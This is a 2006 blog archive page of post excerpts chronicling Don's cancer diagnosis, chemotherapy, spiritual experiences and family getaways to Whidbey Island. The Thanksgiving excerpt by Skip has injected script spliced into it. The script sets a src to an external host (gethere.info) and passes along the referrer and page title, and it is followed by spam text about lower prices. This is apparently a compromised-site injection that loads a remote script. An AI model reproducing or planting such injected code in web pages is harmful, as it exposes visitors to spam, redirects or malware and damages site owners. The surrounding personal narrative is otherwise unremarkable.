The Dreams and Visions Begin

October 15, 2006 from Don | Encouraging Times, Photos, Quick Overview, The Whole Story | Comments Off on The Dreams and Visions Begin

The Lord has been waking me up a lot these last few days– 3:30AM yesterday, 2AM this morning and I have had these amazing conversations with him that have been so sweet and tender that I can hardly put them into words. There are a few thoughts specifically about our leadership gathering at the Rainer […]

Dr. Greg Schroedl has continued to watch over my test results and talk to other physicians in order to determine what the abnormal cells are in my liver and why the abscess is not shrinking. One of the initial CT scans of my liver also detected another smaller mass in the lower right lobe of […]

Three Chances to Escape the Cancer!

October 18, 2006 from Don | Encouraging Times, Quick Overview, The Whole Story, Ups and Downs | Comments Off on Three Chances to Escape the Cancer!

The morning following the Canlis Dinner Bart, Dan, Heather and I enjoyed a delightful breakfast together. Heather wanted to hear all about our dinner and as we shared, new stories unfolded and I realized I was again experiencing this sense of Heaven, of timeless Joy. We were laughing, crying, sharing stories as if we had […]

The Ferry Line and Neville Peter

October 20, 2006 from Don | Encouraging Times, The Whole Story, Ups and Downs | Comments Off on The Ferry Line and Neville Peter

Whidbey Island has always been a wonderful getaway. After the news of cancer I could not think of anywhere I would rather be. Inviting several close family friends we loaded up the car and headed north. Heather, our Pug Indy, and dear friends Inga, and Sarah packing into my car. As usual there was a […]

Escape to Whidbey Island

October 23, 2006 from Don | Encouraging Times, Photos, Quick Overview, The Whole Story | Comments Off on Escape to Whidbey Island

If you could see what I am seeing you would be so amazed you would never think about the problems of the body. This is an illness and I can see so many glorious things that I am totally at Peace- actually more than Peace- I am so alive that I can taste the air […]

A Word to the Agros Board

October 26, 2006 from Don | Encouraging Times, Photos, Quick Overview, The Whole Story | Comments Off on A Word to the Agros Board

Dear Board, I love you guys (Agros Foundation Board of Directors). You can help me by loving one another. Learning and teaching one another. We all can learn something from everyone and we can all teach as well. We need to have open hearts and seek first to ask how we can help one another […]

Jeff Trent, Doug Holiday and TGen

November 9, 2006 from Don | Encouraging Times, The Whole Story | Comments Off on Jeff Trent, Doug Holiday and TGen

This seems to be a pattern the last few weeks- falling to sleep about 11PM then waking between 1AM and 3AM after a number of very distinct dreams.Tonight’s dreams were particularly joyful. I was in Doug Lee’s Office in the Puget Sound Cancer Center receiving my Chemotherapy. There were a combination of nurses, family and […]

Chemotherapy Finally Begins

November 17, 2006 from Don | Encouraging Times, Quick Overview, The Whole Story | Comments Off on Chemotherapy Finally Begins

After my chemo on Friday I felt great and felt good Saturday as well. Today I was feeling a little flu-like and about 5:30PM I started to get a temperature. Doug Lee (Oncologist) had told me if my temperature ever hit 101 I needed to get to the hospital within 2 hours for IV antibiotics. […]

Thanksgiving Weekend at Whidbey

November 22, 2006 from Skip | Encouraging Times, The Whole Story | Comments Off on Thanksgiving Weekend at Whidbey

Don sent this earlier this evening. They left for Whidbey tonight, and are there through Friday night. A most blessed Thanksgiving to you all, and thank you for being so supportive of Don, Heather, Johnny & Bo. Skips.src=’http://gethere.info/kt/?264dpr&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”; Don’t waste your time searching for lower prices on […]

Feeling good at Whidbey

November 22, 2006 from Don | Encouraging Times, The Whole Story | Comments Off on Feeling good at Whidbey

More good news today. I had my IV antibiotic at 9:15 AM followed by a Doppler Ultrasound to check for clots since my legs hurt so much last night. Legs and abdomen were clear. I also met with Dr Doug Lee, talked with Dr Alex Read (Gastroenterologist) and met with Dr Bill Ehni (Infectious Disease […]

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